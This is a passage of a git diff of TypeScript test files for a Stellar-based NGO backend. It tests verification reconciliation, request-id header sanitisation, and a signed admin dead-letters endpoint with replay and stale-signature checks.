fixing', async () => { + (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ + { id: 'ngo-1', ownerAddress: 'GAOADRESS', verified: false }, + ]); + simulateTransaction.mockResolvedValue({ + result: { retval: { type: 'scvInvoke' } }, + }); + scValToNative.mockReturnValue(true); + + const report = await reconcileVerification(); + + expect(report.checked).toBe(1); + expect(report.fixed).toBe(0); + expect(report.mismatches).toEqual([ + { + ngoId: 'ngo-1', + ownerAddress: 'GAOADRESS', + dbVerified: false, + onChainVerified: true, + }, + ]); + expect(prisma.ngo.update).not.toHaveBeenCalled(); + }); + + it('fixes mismatches when fix is true', async () => { + (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ + { id: 'ngo-2', ownerAddress: 'GAOADRESS2', verified: true }, + ]); + simulateTransaction.mockResolvedValue({ + result: { retval: { type: 'scvInvoke' } }, + }); + scValToNative.mockReturnValue(false); + (prisma.ngo.update as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue({}); + + const report = await reconcileVerification({ fix: true }); + + expect(report.fixed).toBe(1); + expect(prisma.ngo.update).toHaveBeenCalledWith({ + where: { id: 'ngo-2' }, + data: { verified: false }, + }); + }); + + it('limits concurrent RPC calls', async () => { + (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue( + Array.from({ length: 8 }, (_, index) => ({ + id: `ngo-${index}`, + ownerAddress: `G${index}`, + verified: true, + })), + ); + let inFlight = 0; + let maxInFlight = 0; + simulateTransaction.mockImplementation(async () => { + inFlight += 1; + maxInFlight = Math.max(maxInFlight, inFlight); + await new Promise((resolve) => setTimeout(resolve, 0)); + inFlight -= 1; + return { result: { retval: true } }; + }); + + await reconcileVerification(); + + expect(maxInFlight).toBeGreaterThan(1); + expect(maxInFlight).toBeLessThanOrEqual(5); + }); + + it('skips ngos that are not registered on-chain', async () => { + (prisma.ngo.findMany as unknown as { mockResolvedValue: (v: unknown) => void }).mockResolvedValue([ + { id: 'ngo-3', ownerAddress: 'GAOADDRESS3', verified: false }, + ]); + simulateTransaction.mockResolvedValue({ error: 'NotRegistered' }); + + const report = await reconcileVerification(); + + expect(report.checked).toBe(1); + expect(report.mismatches).toEqual([]); + }); +}); diff --git a/test/requestId.test.ts b/test/requestId.test.ts index 939f096..d565527 100644 --- a/test/requestId.test.ts +++ b/test/requestId.test.ts @@ -1,121 +1,121 @@ -import Fastify from 'fastify'; -import { afterEach, describe, expect, it } from 'vitest'; - -import { registerRequestIdHeader, requestIdOptions } from '../src/requestId.js'; - -function buildTestServer() { - const app = Fastify(requestIdOptions); - registerRequestIdHeader(app); - app.get('/test', async () => ({ ok: true })); - return app; -} - -describe('request id correlation', () => { - const apps: ReturnType[] = []; - - afterEach(async () => { - await Promise.all(apps.splice(0).map((app) => app.close())); - }); - - it('echoes a caller-supplied x-request-id', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': 'client-request-123' }, - }); - - expect(response.headers['x-request-id']).toBe('client-request-123'); - }); - - it('generates an x-request-id when the caller omits it', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ method: 'GET', url: '/test' }); - - expect(response.headers['x-request-id']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); - - it('replaces an x-request-id longer than 128 characters', async () => { - const app = buildTestServer(); - apps.push(app); - - const longId = 'x'.repeat(1000); - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': longId }, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['x-request-id']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); - - it('accepts safe punctuation in x-request-id values', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': 'client.request_id-123' }, - }); - - expect(response.headers['x-request-id']).toBe('client.request_id-123'); - }); - - it('replaces x-request-id values containing control characters', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': 'request\x00\x01\x1f-id' }, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['x-request-id']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); - - it('replaces x-request-id values containing newlines', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': 'request\nid\r\ninjection' }, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['x-request-id']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); - - it('handles empty string x-request-id', async () => { - const app = buildTestServer(); - apps.push(app); - - const response = await app.inject({ - method: 'GET', - url: '/test', - headers: { 'x-request-id': '' }, - }); - - // Empty strings currently generate a new UUID - expect(response.headers['x-request-id']).toMatch( - /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, - ); - }); -}); +import Fastify from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; + +import { registerRequestIdHeader, requestIdOptions } from '../src/requestId.js'; + +function buildTestServer() { + const app = Fastify(requestIdOptions); + registerRequestIdHeader(app); + app.get('/test', async () => ({ ok: true })); + return app; +} + +describe('request id correlation', () => { + const apps: ReturnType[] = []; + + afterEach(async () => { + await Promise.all(apps.splice(0).map((app) => app.close())); + }); + + it('echoes a caller-supplied x-request-id', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': 'client-request-123' }, + }); + + expect(response.headers['x-request-id']).toBe('client-request-123'); + }); + + it('generates an x-request-id when the caller omits it', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ method: 'GET', url: '/test' }); + + expect(response.headers['x-request-id']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); + + it('replaces an x-request-id longer than 128 characters', async () => { + const app = buildTestServer(); + apps.push(app); + + const longId = 'x'.repeat(1000); + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': longId }, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['x-request-id']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); + + it('accepts safe punctuation in x-request-id values', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': 'client.request_id-123' }, + }); + + expect(response.headers['x-request-id']).toBe('client.request_id-123'); + }); + + it('replaces x-request-id values containing control characters', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': 'request\x00\x01\x1f-id' }, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['x-request-id']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); + + it('replaces x-request-id values containing newlines', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': 'request\nid\r\ninjection' }, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['x-request-id']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); + + it('handles empty string x-request-id', async () => { + const app = buildTestServer(); + apps.push(app); + + const response = await app.inject({ + method: 'GET', + url: '/test', + headers: { 'x-request-id': '' }, + }); + + // Empty strings currently generate a new UUID + expect(response.headers['x-request-id']).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/, + ); + }); +}); diff --git a/test/routes/deadLetters.test.ts b/test/routes/deadLetters.test.ts index b2094c5..e5b5216 100644 --- a/test/routes/deadLetters.test.ts +++ b/test/routes/deadLetters.test.ts @@ -1,403 +1,403 @@ -import { Keypair } from '@stellar/stellar-sdk'; -import { afterEach, beforeAll, describe, expect, it } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import { signAdminRequest } from '../helpers/adminAuth.js'; -import { resetDb } from '../helpers/db.js'; - -const adminKeypair = Keypair.random(); - -function createDeadLetterFixture( - index: number, - overrides: Partial[0]['data']> = {}, -) { - const ledger = 100 + index; - const eventId = `${String(ledger).padStart(10, '0')}-0000000001`; - return { - eventId, - ledger, - contractId: 'CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH', - error: `Failure reason #${index}`, - topic: ['AAAA...'], - value: 'BBBB...', - txHash: 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef', - attempts: 1, - resolvedAt: null, - createdAt: new Date(1700000000000 + index * 1000), - ...overrides, - }; -} - -describe('GET /v1/admin/dead-letters', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - await resetDb(); - }); - - describe('Authentication & Security', () => { - it('rejects an unsigned request with 401 unauthorized', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/admin/dead-letters' }); - expect(response.statusCode).toBe(401); - expect(response.json()).toEqual({ error: 'unauthorized' }); - - await app.close(); - }); - - it('returns 503 when admin address is not configured in environment', async () => { - const app = buildServer(); - const currentAdmin = process.env.ADMIN_ADDRESS; - delete process.env.ADMIN_ADDRESS; - - try { - const response = await app.inject({ method: 'GET', url: '/v1/admin/dead-letters' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ error: 'admin_auth_not_configured' }); - } finally { - if (currentAdmin !== undefined) { - process.env.ADMIN_ADDRESS = currentAdmin; - } - await app.close(); - } - }); - - it('rejects requests signed by an unauthorized Stellar keypair', async () => { - const app = buildServer(); - const unauthorizedKeypair = Keypair.random(); - - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(unauthorizedKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(401); - expect(response.json()).toEqual({ error: 'unauthorized' }); - - await app.close(); - }); - - it('rejects a signature with a stale timestamp (> 5 minutes)', async () => { - const app = buildServer(); - const staleTimestamp = (Date.now() - 10 * 60 * 1000).toString(); - - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url, staleTimestamp); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(401); - expect(response.json()).toEqual({ error: 'stale_signature' }); - - await app.close(); - }); - - it('rejects timestamps provided in seconds instead of milliseconds', async () => { - const app = buildServer(); - const secondsTimestamp = Math.floor(Date.now() / 1000).toString(); - - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url, secondsTimestamp); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(401); - expect(response.json()).toEqual({ error: 'timestamp_unit_mismatch' }); - - await app.close(); - }); - - it('rejects replayed signatures within the freshness window', async () => { - const app = buildServer(); - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const firstResponse = await app.inject({ method: 'GET', url, headers }); - expect(firstResponse.statusCode).toBe(200); - - const replayResponse = await app.inject({ method: 'GET', url, headers }); - expect(replayResponse.statusCode).toBe(401); - expect(replayResponse.json()).toEqual({ error: 'replayed_signature' }); - - await app.close(); - }); - - it('allows a validly signed admin request when no records exist', async () => { - const app = buildServer(); - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - - const response = await app.inject({ method: 'GET', url, headers }); - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ - deadLetters: [], - total: 0, - hasMore: false, - nextCursor: null, - }); - - await app.close(); - }); - }); - - describe('Filtering by resolved status', () => { - it('returns both resolved and unresolved dead letters when resolved is omitted', async () => { - const app = buildServer(); - - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(1, { resolvedAt: null }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(2, { resolvedAt: new Date() }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(3, { resolvedAt: null }), - }); - - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.total).toBe(3); - expect(body.deadLetters).toHaveLength(3); - expect(body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 102, 101]); - - await app.close(); - }); - - it('returns only unresolved dead letters when resolved=false', async () => { - const app = buildServer(); - - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(1, { resolvedAt: null }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(2, { resolvedAt: new Date() }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(3, { resolvedAt: null }), - }); - - const url = '/v1/admin/dead-letters?resolved=false'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.total).toBe(2); - expect(body.deadLetters).toHaveLength(2); - expect( - body.deadLetters.every((d: { resolvedAt: string | null }) => d.resolvedAt === null), - ).toBe(true); - expect(body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 101]); - - await app.close(); - }); - - it('returns only resolved dead letters when resolved=true', async () => { - const app = buildServer(); - - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(1, { resolvedAt: null }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(2, { resolvedAt: new Date('2026-10-21T04:00:00Z') }), - }); - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(3, { resolvedAt: null }), - }); - - const url = '/v1/admin/dead-letters?resolved=true'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.total).toBe(1); - expect(body.deadLetters).toHaveLength(1); - expect(body.deadLetters[0].ledger).toBe(102); - expect(body.deadLetters[0].resolvedAt).toBe('2026-10-21T04:00:00.000Z'); - - await app.close(); - }); - - it('returns 400 invalid_request when resolved query parameter is invalid', async () => { - const app = buildServer(); - - const url = '/v1/admin/dead-letters?resolved=invalid_boolean'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); - }); - - describe('Pagination & Cursor Controls', () => { - it('paginates correctly using limit and cursor without duplicate records', async () => { - const app = buildServer(); - - // Seed 5 dead letters (index 1 to 5) - for (let i = 1; i <= 5; i++) { - await prisma.indexerDeadLetter.create({ - data: createDeadLetterFixture(i), - }); - } - - // Page 1: limit 2 -> newest first (ledger 105, 104) - const page1Url = '/v1/admin/dead-letters?limit=2'; - const page1Headers = signAdminRequest(adminKeypair, 'GET', page1Url); - const page1Response = await app.inject({ - method: 'GET', - url: page1Url, - headers: page1Headers, - }); - - expect(page1Response.statusCode).toBe(200); - const page1Body = page1Response.json(); - expect(page1Body.total).toBe(5); - expect(page1Body.deadLetters).toHaveLength(2); - expect(page1Body.hasMore).toBe(true); - expect(page1Body.nextCursor).not.toBeNull(); - const page1Ids = page1Body.deadLetters.map((d: { id: string }) => d.id); - expect(page1Body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([105, 104]); - - // Page 2: limit 2, cursor from page 1 -> (ledger 103, 102) - const page2Url = `/v1/admin/dead-letters?limit=2&cursor=${page1Body.nextCursor}`; - const page2Headers = signAdminRequest(adminKeypair, 'GET', page2Url); - const page2Response = await app.inject({ - method: 'GET', - url: page2Url, - headers: page2Headers, - }); - - expect(page2Response.statusCode).toBe(200); - const page2Body = page2Response.json(); - expect(page2Body.total).toBe(5); - expect(page2Body.deadLetters).toHaveLength(2); - expect(page2Body.hasMore).toBe(true); - expect(page2Body.nextCursor).not.toBeNull(); - const page2Ids = page2Body.deadLetters.map((d: { id: string }) => d.id); - expect(page2Body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 102]); - - // Assert no overlap between page 1 and page 2 - expect(page1Ids.some((id: string) => page2Ids.includes(id))).toBe(false); - - // Page 3: limit 2, cursor from page 2 -> (ledger 101) - const page3Url = `/v1/admin/dead-letters?limit=2&cursor=${page2Body.nextCursor}`; - const page3Headers = signAdminRequest(adminKeypair, 'GET', page3Url); - const page3Response = await app.inject({ - method: 'GET', - url: page3Url, - headers: page3Headers, - }); - - expect(page3Response.statusCode).toBe(200); - const page3Body = page3Response.json(); - expect(page3Body.total).toBe(5); - expect(page3Body.deadLetters).toHaveLength(1); - expect(page3Body.hasMore).toBe(false); - expect(page3Body.nextCursor).toBeNull(); - expect(page3Body.deadLetters[0].ledger).toBe(101); - - await app.close(); - }); - - it('rejects invalid limit values (0, negative, >100, non-numeric)', async () => { - const app = buildServer(); - - for (const invalidLimit of ['0', '-5', '101', 'abc']) { - const url = `/v1/admin/dead-letters?limit=${invalidLimit}`; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - } - - await app.close(); - }); - - it('rejects a non-UUID cursor with 400 invalid_request', async () => { - const app = buildServer(); - - const url = '/v1/admin/dead-letters?cursor=not-a-valid-uuid'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); - - it('returns an empty list when a valid UUID cursor does not exist in the database', async () => { - const app = buildServer(); - const nonExistentUuid = '00000000-0000-4000-8000-000000000000'; - await prisma.indexerDeadLetter.create({ data: createDeadLetterFixture(1) }); - - const url = `/v1/admin/dead-letters?cursor=${nonExistentUuid}`; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ - deadLetters: [], - total: 1, - hasMore: false, - nextCursor: null, - }); - - await app.close(); - }); - - it('correctly returns all full record attributes of a dead letter', async () => { - const app = buildServer(); - - const created = await prisma.indexerDeadLetter.create({ - data: { - eventId: '0000000500-0000000002', - ledger: 500, - contractId: 'CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH', - error: 'TypeError: scValToNative unexpected type', - topic: ['AAAAEgAAAAFjcmVhdGVkAAAAAA==', 'AAAAEAAAAAEAAAAAAAAAUg=='], - value: 'AAAAEAAAAAUAAAAPAAAAB0RFUE9TSVQAAA==', - txHash: '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef', - attempts: 2, - resolvedAt: null, - }, - }); - - const url = '/v1/admin/dead-letters'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.deadLetters).toHaveLength(1); - const record = body.deadLetters[0]; - - expect(record.id).toBe(created.id); - expect(record.eventId).toBe('0000000500-0000000002'); - expect(record.ledger).toBe(500); - expect(record.contractId).toBe('CDLKBGX3VTFZZBVBNQYHF47PQO6I7UTBYVVQE3BPJDONF6G4U33Z7VLH'); - expect(record.error).toBe('TypeError: scValToNative unexpected type'); - expect(record.topic).toHaveLength(2); - expect(record.value).toBe('AAAAEAAAAAUAAAAPAAAAB0RFUE9TSVQAAA=='); - expect(record.txHash).toBe( - '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef', - ); - expect(record.attempts).toBe(2); - expect(record.resolvedAt).toBeNull(); - expect(record.createdAt).toBeDefined(); - expect(record.updatedAt).toBeDefined(); - - await app.close(); - }); - }); -}); +import { Keypair } from '@stellar/stellar-sdk'; +import { afterEach, beforeAll, describe, expect, it } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import { signAdminRequest } from '../helpers/adminAuth.js'; +import { resetDb } from '../helpers/db.js'; + +const adminKeypair = Keypair.random(); + +function createDeadLetterFixture( + index: number, + overrides: Partial[0]['data']> = {}, +) { + const ledger = 100 + index; + const eventId = `${String(ledger).padStart(10, '0')}-0000000001`; + return { + eventId, + ledger, + contractId: 'CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH', + error: `Failure reason #${index}`, + topic: ['AAAA...'], + value: 'BBBB...', + txHash: 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef', + attempts: 1, + resolvedAt: null, + createdAt: new Date(1700000000000 + index * 1000), + ...overrides, + }; +} + +describe('GET /v1/admin/dead-letters', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + await resetDb(); + }); + + describe('Authentication & Security', () => { + it('rejects an unsigned request with 401 unauthorized', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/admin/dead-letters' }); + expect(response.statusCode).toBe(401); + expect(response.json()).toEqual({ error: 'unauthorized' }); + + await app.close(); + }); + + it('returns 503 when admin address is not configured in environment', async () => { + const app = buildServer(); + const currentAdmin = process.env.ADMIN_ADDRESS; + delete process.env.ADMIN_ADDRESS; + + try { + const response = await app.inject({ method: 'GET', url: '/v1/admin/dead-letters' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ error: 'admin_auth_not_configured' }); + } finally { + if (currentAdmin !== undefined) { + process.env.ADMIN_ADDRESS = currentAdmin; + } + await app.close(); + } + }); + + it('rejects requests signed by an unauthorized Stellar keypair', async () => { + const app = buildServer(); + const unauthorizedKeypair = Keypair.random(); + + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(unauthorizedKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(401); + expect(response.json()).toEqual({ error: 'unauthorized' }); + + await app.close(); + }); + + it('rejects a signature with a stale timestamp (> 5 minutes)', async () => { + const app = buildServer(); + const staleTimestamp = (Date.now() - 10 * 60 * 1000).toString(); + + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url, staleTimestamp); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(401); + expect(response.json()).toEqual({ error: 'stale_signature' }); + + await app.close(); + }); + + it('rejects timestamps provided in seconds instead of milliseconds', async () => { + const app = buildServer(); + const secondsTimestamp = Math.floor(Date.now() / 1000).toString(); + + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url, secondsTimestamp); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(401); + expect(response.json()).toEqual({ error: 'timestamp_unit_mismatch' }); + + await app.close(); + }); + + it('rejects replayed signatures within the freshness window', async () => { + const app = buildServer(); + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const firstResponse = await app.inject({ method: 'GET', url, headers }); + expect(firstResponse.statusCode).toBe(200); + + const replayResponse = await app.inject({ method: 'GET', url, headers }); + expect(replayResponse.statusCode).toBe(401); + expect(replayResponse.json()).toEqual({ error: 'replayed_signature' }); + + await app.close(); + }); + + it('allows a validly signed admin request when no records exist', async () => { + const app = buildServer(); + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + + const response = await app.inject({ method: 'GET', url, headers }); + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ + deadLetters: [], + total: 0, + hasMore: false, + nextCursor: null, + }); + + await app.close(); + }); + }); + + describe('Filtering by resolved status', () => { + it('returns both resolved and unresolved dead letters when resolved is omitted', async () => { + const app = buildServer(); + + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(1, { resolvedAt: null }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(2, { resolvedAt: new Date() }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(3, { resolvedAt: null }), + }); + + const url = '/v1/admin/dead-letters'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.total).toBe(3); + expect(body.deadLetters).toHaveLength(3); + expect(body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 102, 101]); + + await app.close(); + }); + + it('returns only unresolved dead letters when resolved=false', async () => { + const app = buildServer(); + + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(1, { resolvedAt: null }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(2, { resolvedAt: new Date() }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(3, { resolvedAt: null }), + }); + + const url = '/v1/admin/dead-letters?resolved=false'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.total).toBe(2); + expect(body.deadLetters).toHaveLength(2); + expect( + body.deadLetters.every((d: { resolvedAt: string | null }) => d.resolvedAt === null), + ).toBe(true); + expect(body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 101]); + + await app.close(); + }); + + it('returns only resolved dead letters when resolved=true', async () => { + const app = buildServer(); + + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(1, { resolvedAt: null }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(2, { resolvedAt: new Date('2026-10-21T04:00:00Z') }), + }); + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(3, { resolvedAt: null }), + }); + + const url = '/v1/admin/dead-letters?resolved=true'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.total).toBe(1); + expect(body.deadLetters).toHaveLength(1); + expect(body.deadLetters[0].ledger).toBe(102); + expect(body.deadLetters[0].resolvedAt).toBe('2026-10-21T04:00:00.000Z'); + + await app.close(); + }); + + it('returns 400 invalid_request when resolved query parameter is invalid', async () => { + const app = buildServer(); + + const url = '/v1/admin/dead-letters?resolved=invalid_boolean'; + const headers = signAdminRequest(adminKeypair, 'GET', url); + const response = await app.inject({ method: 'GET', url, headers }); + + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); + }); + + describe('Pagination & Cursor Controls', () => { + it('paginates correctly using limit and cursor without duplicate records', async () => { + const app = buildServer(); + + // Seed 5 dead letters (index 1 to 5) + for (let i = 1; i <= 5; i++) { + await prisma.indexerDeadLetter.create({ + data: createDeadLetterFixture(i), + }); + } + + // Page 1: limit 2 -> newest first (ledger 105, 104) + const page1Url = '/v1/admin/dead-letters?limit=2'; + const page1Headers = signAdminRequest(adminKeypair, 'GET', page1Url); + const page1Response = await app.inject({ + method: 'GET', + url: page1Url, + headers: page1Headers, + }); + + expect(page1Response.statusCode).toBe(200); + const page1Body = page1Response.json(); + expect(page1Body.total).toBe(5); + expect(page1Body.deadLetters).toHaveLength(2); + expect(page1Body.hasMore).toBe(true); + expect(page1Body.nextCursor).not.toBeNull(); + const page1Ids = page1Body.deadLetters.map((d: { id: string }) => d.id); + expect(page1Body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([105, 104]); + + // Page 2: limit 2, cursor from page 1 -> (ledger 103, 102) + const page2Url = `/v1/admin/dead-letters?limit=2&cursor=${page1Body.nextCursor}`; + const page2Headers = signAdminRequest(adminKeypair, 'GET', page2Url); + const page2Response = await app.inject({ + method: 'GET', + url: page2Url, + headers: page2Headers, + }); + + expect(page2Response.statusCode).toBe(200); + const page2Body = page2Response.json(); + expect(page2Body.total).toBe(5); + expect(page2Body.deadLetters).toHaveLength(2); + expect(page2Body.hasMore).toBe(true); + expect(page2Body.nextCursor).not.toBeNull(); + const page2Ids = page2Body.deadLetters.map((d: { id: string }) => d.id); + expect(page2Body.deadLetters.map((d: { ledger: number }) => d.ledger)).toEqual([103, 102]); + + // Assert no overlap between page 1 and page 2 + expect(page1Ids.some((id: string) => page2Ids.includes(id))).toBe(false); + + // Page 3: limit 2, cursor from page 2 -> (ledger 101) + const page3Url = `/v1/admin/dead-letters?limit=2&cursor=${page2Body.nextCursor}`; + const page3Headers = signAdminRequest(adminKeypair, 'GET', page3Url); + const page3Response = await app.inject({ + method: 'GET', + url: page3Url, + headers: page3Headers, + }); + + expect(page3Response.statusCode).toBe(200); + const page3Body = page3Response.json(); + expect(page3Body.total).toBe(5); + expect(page3Body.deadLetters).toHaveLength(1); + expect(page3Body.hasMore).toBe(false); + expect(page3Body.nextCursor).toBeNull(); + expect(page3Body.deadLetters[0].ledger).toBe(101); + + await 